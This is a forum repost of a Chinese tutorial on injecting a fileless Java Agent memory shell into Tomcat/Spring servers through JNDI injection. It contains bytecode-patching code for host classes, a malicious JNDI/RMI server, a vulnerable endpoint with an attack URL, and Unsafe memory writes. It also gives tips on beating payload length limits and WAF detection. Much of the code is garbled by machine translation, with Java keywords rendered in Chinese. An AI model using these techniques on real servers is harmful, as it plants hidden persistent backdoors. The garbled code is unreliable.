跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

无文件落地注入Agent内存马实操

精选回复

发布于

## 前言

上个月看了【rebeyond】(https://xz.aliyun.com/u/8697)、【游网智】(https://xz.aliyun.com/u/40732)、【小盘233】(https://ttta ng.com/user/Xiaopan233)大师介绍**无文件登陆注入Agent内存马技术**的文章,想在实践中重现。没想到遇到了很多问题,花了很多时间去解决,所以准备写一篇实用的记录,帮助大家少走弯路。

该技术适用于具有**动态代码上下文执行能力**的场景下的**通用内存马注入**(仅仅Runtime.getRuntime().exec()是不够的,必须具备执行**多行代码**的能力)

**提示:** 阅读本文需要您对JNDI 注入和反序列化漏洞有基本的了解。当然,了解Agent内存马是有必要的。如果你不懂这个技术,建议查看那些高手的博客。

接下来我会用我写的一个小工具来模拟攻击注入。在这个过程中我会讲几个**实战问题**。如果读者之前没有实践过,不妨按照本文来实践一下。

项目地址:https://github.com/whocansee/FilelessAgentMemShell(包含简单的漏洞环境和测试所需的新类字节码)

## 开始

测试环境:Windows 10、JDK8u66、SpringBoot 2(暴露任意反序列化和JNDI接口)

以利用JNDI注入漏洞将Agent内存马注入**JDK低版本和Windows目标**为例。

### 生成用于注入Agent内存马的类文件

首先选择常见的`org.apache.tomcat.websocket.server.WsFilter`作为宿主类

javassist修改其字节码并输出一个新的类文件(其方法体前面添加了一个计算器)

````

ClassPool 池=ClassPool.getDefault();

CtClass ctClass=pool.getCtClass(\'org.apache.tomcat.websocket.server.WsFilter\');

CtMethod m=ctClass.getDeclaredMethod(\'doFilter\');

m.insertBefore(\'Runtime.getRuntime().exec(\\\'calc\\\');\');

ctClass.writeFile();

ctClass.detach();

````

在此目录下找到生成的新类文件b9c132039c077bc3b4f3214cd8a2fcf1.png

和工具放在同一个目录下,使用工具生成最终会被目标加载的类文件(用于用新字节码替换**目标类的旧字节码**)

````

java -jar .\\FilelessAgentMemshellGenerator.jar -b 64 -c \'org.apache.tomcat.websocket.server.WsFilter\' -i false -o \'Windows\' -p .\\WsFilter.class -t false

````

弹出警告,但成功生成了所需的类文件a0807d557dd9a23380ac953db5dfeba0.png

`AgentMemShell.class`可以在工具同目录的out文件夹中找到

### 配置JNDI服务器

**使用ysomap等工具可以快速部署JNDI恶意服务器**。以下是手动步骤。

首先,您需要启动**RMI 服务或LDAP 服务** 并将远程对象绑定到它。

然后使用`python -m http.server`在这个目录下开启一个Http服务

将引用的地址设置为Http服务的URL,如`http://localhost:8000/`,并设置类名和工厂名

`Reference refObj=new Reference(\'AgentMemShell\',\'AgentMemShell\',\'http://localhost:8000/\');`

然后重新绑定对JNDI服务的引用

`InitialContext 初始上下文=new InitialContext();`

`initialContext.rebind(\'rmi://localhost:11451/remoteObj\',refObj);`

**最后启动JNDI服务**

````

导入javax.naming.InitialContext;

导入javax.naming.Reference;

公共类JNDIServer {

公共静态无效主(字符串[] args)抛出异常{

InitialContext 初始上下文=new InitialContext();

引用refObj=new Reference(\'AgentMemShell\',\'AgentMemShell\',\'http://localhost:8000/\');

initialContext.rebind(\'rmi://localhost:11451/remoteObj\',refObj);

}

}

````

###利用JNDI注入漏洞实现内存马注入

启动漏洞环境,代码如下

````

@GetMapping({\'/jndi\'})

公共无效jndi(@RequestParam字符串b)抛出异常{

byte[]解码字节=Base64.getDecoder().decode(b);

字符串解码Url=新字符串(decodedBytes,StandardCharsets.UTF_8);

InitialContext ctx=new InitialContext();

ctx.lookup(decodedUrl);

}

````

访问URL完成攻击(传递的`jndi-url`为`rmi://localhost:11451/remoteObj`)

`http://localhost:8080/memShell/jndi?b=cm1pOi8vbG9jYWxob3N0OjExNDUxL3JlbW90ZU9iag==

`

随机访问不存在的目录,成功弹出计算器7e6c8c1ac48b4ceb9d4a6cfcd4323a13.png

## lambda 表达式错误

如果不出意外的话,此时应该已经成功注入Agent内存马了,并且没有丢文件!

如果此时想改变一个宿主类,比如`org.apache.catalina.core.ApplicationFilterChain

`

其他步骤不变,只是Javassit修改类时改变了参数,并使用工具生成最终的类,从而生成了可以替换`org.apache.catalina.core.ApplicationFilterChain`类的EXP。

再次使用JNDI注入进入内存木马。你会发现并没有生效。检查Spring 控制台,您应该看到以下错误:25af2da0d46ce28133cae7ae68b72e70.png

为什么?

### 错误原因

当我们使用JavaAgent进行动态类替换时,如果**新类字节码**包含**lambda表达式**,就会报错。问题可能出在Instrument API的内部实现逻辑上。

巧合的是,常用的宿主类org.apache.catalina.core.ApplicationFilterChain 中的doFilter() 方法包含一个lambda 表达式。我第一次测试的时候,无论怎么检查,一直报错。直到控制变量使用了另一个宿主类我才找到原因。

理论上,您可以通过使用Javassist修改此方法来删除lambda表达式。然而,事情并没有那么简单。经过测试发现,Javassist**一旦加载了包含lambda表达式的类**,无论是添加还是替换方法体,都无法完全删除lambda表达式**

**我们应该做什么? **

### 解决方案

#### 逃脱

最简单的方法就是这里给出Tomcat容器下可用的宿主类(**请求处理过程中必要的类**,可以添加shell逻辑,不影响正常运行)

**(粗体为推荐类)**

- **org.apache.tomcat.websocket.server.WsFilter**

- org.springframework.web.servlet.DispatcherServlet

- org.apache.catalina.core.ApplicationFilterChain

- **org.apache.catalina.core.StandardContextValve**

- javax.servlet.http.HttpServlet(Tomcat 10之后,javax变为jarkara;Weblogic环境下为weblogic)

其中,`org.apache.tomcat.websocket.server.WsFilter`和`org.apache.catalina.core.StandardContextValve`是**既没有lambda表达式**也**长度**短**的类。

(注意,如果你选择org.apache.catalina.core.StandardContextValve 作为宿主类,你应该修改它的invoke() 方法体)

#### 面对现实

任何时候你都无法通过转职来逃脱。 Agent的记忆马用途极其广泛,这意味着它需要面对许多不同的场景。当遇到必须选择lambda 表达式的宿主类时:

**除了解决问题别无他法**

这里有最合适的解决方案以及你自己的探索过程

**改变框架#最有效的解决方案**

接触过字节码修改技术的高手应该都用过Java下的ASM框架。与Javassist框架相比,其功能更加强大。删除lambda 表达式显然是小菜一碟。

不过本人水平有限,还没有找到单独删除lambda表达式的通用方法。我只想到完全删除方法体去掉lambda表达式,然后用Javassist读取ASM生成的字节码来简单的写复杂的shell逻辑,比较迂回又麻烦。

下面是~ChatGPT~ 编写的代码,它使用ASM 框架**删除目标类的方法体中的所有内容**(包括lambda 表达式),并将其替换为输出“Hello World”:

````

导入org.objectweb.asm.*;

导入java.io.FileOutputStream;

导入java.io.IOException;

公共类修改计算方法{

公共静态无效主(字符串[] args){

尝试{

byte[] 修改类=修改计算方法();

//将修改后的类写入文件

尝试(FileOutputStream fos=new FileOutputStream(\'Hello.class\')) {

fos.write(modifiedClass);

}

System.out.println(\'修改后的类写入: Hello.class\');

} catch (IOException e) {

e.printStackTrace();

}

}

公共静态字节[]修改CalcMethod()抛出IOException{

//指定要修改的类

ClassReader classReader=new ClassReader(\'org.apache.catalina.core.ApplicationFilterChain\');

ClassWriter classWriter=new ClassWriter(ClassWriter.COMPUTE_FRAMES);

ClassVisitor classVisitor=new ClassVisitor(Opcodes.ASM7, classWriter) {

@覆盖

公共MethodVisitor VisitMethod(int access, 字符串名称, 字符串desc, 字符串签名, 字符串[] 异常) {

//指定要修改的方法

if (name.equals(\'doFilter\')) {

MethodVisitor newMethod=super.visitMethod(访问、名称、描述、签名、异常);

newMethod.visitCode();

newMethod.visitFieldInsn(Opcodes.GETSTATIC, \'java/lang/System\', \'out\', \'Ljava/io/PrintStream;\');

newMethod.visitLdcInsn(\'你好,世界!\');

newMethod.visitMethodInsn(Opcodes.INVOKEVIRTUAL, \'java/io/PrintStream\', \'println\', \'(Ljava/lang/String;)V\', false);

newMethod.visitInsn(Opcodes.RETURN);

newMethod.visitMaxs(2, 1);

newMethod.visitEnd(); //如果要删除Hello World,只需使用Javassist再次编辑即可。

返回空值; //返回null表示清除原来的方法体

} 否则{

返回super.visitMethod(访问、名称、描述、签名、异常);

}

}

};

classReader.accept(classVisitor, 0);

返回classWriter.toByteArray();

}

}

````

如果不出意外的话,问题就顺利解决了

此时你可能会有疑问。源代码中只有几行lambda表达式。为什么删除这么难? **

事实上,Javassist 和ASM 框架都是在字节码级别操作和修改类。前者使用起来确实很方便,可以像源代码一样操作字节码,但带来的后果是一旦出现问题,很难找到根本原因并解决;后者,ASM虽然准确且强大,但操作起来却非常复杂和繁琐。

**既然如此,看来直接操作源码是最好的选择**

**从源码层面开始**

大多数第三方组件库都有可用的源代码。我们可以修改源码然后自己编译,简单的删除lambda表达式即可。

然而,依赖关系通常很复杂,需要一些**微妙的操作**

以修改org.apache.catalina.core.ApplicationFilterChain 为例,查找其所在jar包的源码。我在这里使用“tomcat-embed-core-9.0.63-sources”。

解压source-jar包,找到目标类的java文件(及目录文件夹)并**单独取出**

在同目录下创建IDEA项目,添加所需依赖(本例为Maven中`springframework.boot.spring.starter.web`对应版本2.7.0)

然后就可以简单修改源码并顺利编译,成功得到新的class文件!

然后替换掉修改后的字节码,**却遇到了新的错误**:b11d3c02c4d60a60a76ff5775dd6515f.png

JavaAgent技术不允许添加或删除方法或添加或删除属性值,但我们只删除了源代码中的lambda表达式部分。为什么会出现这个错误?

事实上,**编译后的Lambda表达式本质上是一个匿名函数**,可以看作是函数式接口的实现

因此,对于org.apache.catalina.core.ApplicationFilterChain 类中包含lambda 表达式的代码部分

````

java.security.AccessController.doPrivileged(

(java.security.PrivilegedExceptionAction) () - {

内部DoFilter(请求,res);

返回空值;

}

);

````

使用下面的代码代替

````

java.security.AccessController.doPrivileged(

新的java.security.PrivilegedExceptionAction() {

@覆盖

public Void run() 抛出异常{

内部DoFilter(req, res);

返回空值;

}

}

);

````

编译,获取class文件,动态替换class

仍然报错.c6eabe1e3f536f4f7f85e10c6466f916.png

看来Instrument API不同意这种等效的替代方案,所以根本没有出路,只剩下**最后一个方法**

参考JRebel、spring-loaded、hotcode2等热部署工具的原理,在每个调用ApplicationFilterChain.filter()的地方创建一层代理,直接加载一个全新的代理类,可以突破不允许增删方法或增删属性值的限制。

需要替换多个类,这显然**很麻烦**。看来**换宿主类、换框架**最方便

**补充**

看过源码修改部分的高手可能会有疑问。由于删除lambda表达式相关的代码会导致**添加和删除方法**的效果

**ASM框架如何在不违反Instrument API要求的情况下删除lambda表达式? **

如果你熟悉类似字节码的结构,那就很容易理解了。我给出的**使用ASM 删除lambda 表达式**的代码实际上只是清除了`doFilter()` 方法中的剩余数据,这将导致Instrument API 中出现错误。它不会删除**通过编译字节码中的lambda 表达式生成的方法**

##JDK版本

###自我

**编译字节码和运行工具时,尽量使用较低版本的JDK**,以获得更好的兼容性

### 目标

去除对漏洞利用的影响(如JNDI注入高低版本的差异)

目标使用JDK11 还是JDK8 对EXP 生成也有几个影响:

`can_redefine_classes` 偏移量

普通Java Agent使用时,在`agent.jar`的`MANIFEST.MF`文件中有一行配置

`Can-Redefine-Classes`,决定是否可以使用`redefineClasses()`方法动态替换类

在无文件代理技术中,其值存储在“jvmtiEnv*”指针指向的内存地址之后的偏移处。

默认为零,所以需要填充一个值

不同的JDK主要版本下偏移值是不同的。理论上,需要搜索所有的偏移量,并根据不同的JDK版本设置不同的EXP。

经过测试,将值填充到多个可能的内存地址也可以正常工作,所以这就是我在项目中实现的方式(针对64位目标)

````

unsafe.putByte(native_jvmtienv + 377, (字节) 2);

unsafe.putByte(native_jvmtienv + 361, (字节) 2);

unsafe.putByte(native_jvmtienv + 369, (字节) 2);

````

#### 不安全相关

在JDK8下,Java默认会对Unsafe调用发出警告,并提示在以后的版本中删除。

使用JDK11,必须在编译时添加相关参数才能使用Unsafe

#### 仪器API相关

JDK11下,执行动态替换类操作后,目标控制台会出现报警9c0585f5412aa0c5cc7ad25e772b5255.png

1bb8fe03c2778860910bbfb55b765aaa.png

具体来说,**JDK17**之后,完全禁止不安全的反射调用。

#### Windows下不同的虚拟机实现类

在Windows目标中注入shellcode时,需要使用虚拟机相关的类,这些类的类名在不同的JDK版本中发生了变化。

JDK8:`Windows虚拟机`

JDK9 及更高版本:`VirtualMachineImpl`

### 工具

以上各点均已在项目中得到解决

## 负载长度限制

### 问题

本次测试中,利用JNDI注入漏洞侵入Agent内存时,一般没有payload长度限制。然而,

当需要在实战环境中利用反序列化漏洞一次性渗透到Agent的内存中时,由于其中包含大量硬编码的字节码和shellcode,最终编译出来的字节码会很大,payload长度也会很长,不适合某些只能通过GET参数甚至请求头输入反序列化payload的情况;即使使用POST,由于传输的数据量较大,也存在被WAF检测到的风险。

关于这个问题,我会在后面单独讨论有效载荷长度受限时的各种解决方案,并在工具的后续更新中完成一些自动缩短的实现。

这里只给出最有效的路径

### 解决方案

#### 为新类生成尽可能最小的字节码

这就需要在选择宿主类时优先考虑内容较少的类,或者在不影响正常逻辑的情况下删除所有可删除的方法体内容。

#### 进入反序列化过程,无长度限制

在目标不在网络的前提下,通过UnicastRef链和LDAPAttribute链开辟新的反序列化入口。

#### 尝试去掉目标的长度限制

不同的中间件对不同的负载插入位置(URL、请求头、POST 数据)有不同的限制。在注入之前解除长度限制也是一个奇怪的想法。

## 参考

Java内存攻击技术探讨https://xz.aliyun.com/t/10075

浅谈如何优雅地注入Java Agent内存马https://xz.aliyun.com/t/11640

探索Linux下无文件Java代理https://tttang.com/archive/1525

Linux下先进的内存马植入技术https://xz.aliyun.com/t/10186

终极Java反序列化减荷技术https://developer.aliyun.com/article/1160545 转载自先知社区: https://xz.aliyun.com/t/13150?time__1311=mqmxnDBDcD20Y0KDsD7mQ0%3DWabrWqQDuGYDalichlgref=https%3A%2F%2Fxz.aliyun.com%2Ftab%2F1%3Fpage%3D2

添加一名作者

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。